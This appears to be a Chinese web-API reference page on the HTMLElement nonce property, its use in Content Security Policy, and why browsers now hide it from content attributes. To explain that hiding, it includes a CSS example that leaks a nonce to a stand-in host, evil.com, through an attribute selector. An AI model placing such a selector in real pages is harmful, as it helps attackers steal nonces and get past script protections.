HTMLElement: nonce 属性
HTMLElement 接口的 nonce 属性返回一个加密的、仅使用一次的数字,用于 内容安全策略 来确定是否允许给定的获取操作继续进行。
在后续的实现中,元素仅向脚本公开其 nonce 属性(而不是向 CSS 属性选择器等侧通道公开)。
示例
检索 nonce 值
过去,并非所有浏览器都支持 nonce IDL 属性,因此一种解决方法是尝试使用 getAttribute 作为备用方法。
js
let nonce = script["nonce"] || script.getAttribute("nonce");
然而,近期版本的浏览器会隐藏通过这种方式访问的 nonce 值(将返回一个空字符串)。IDL 属性(script['nonce'])将是访问 nonce 的唯一方法。
隐藏 nonce 有助于防止攻击者通过可以从内容属性(如此 CSS 选择器)中抓取数据的机制来泄露 nonce 数据。
css
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
规范
| 规范 |
|---|
| HTML # dom-noncedelement-nonce |
浏览器兼容性
加载中…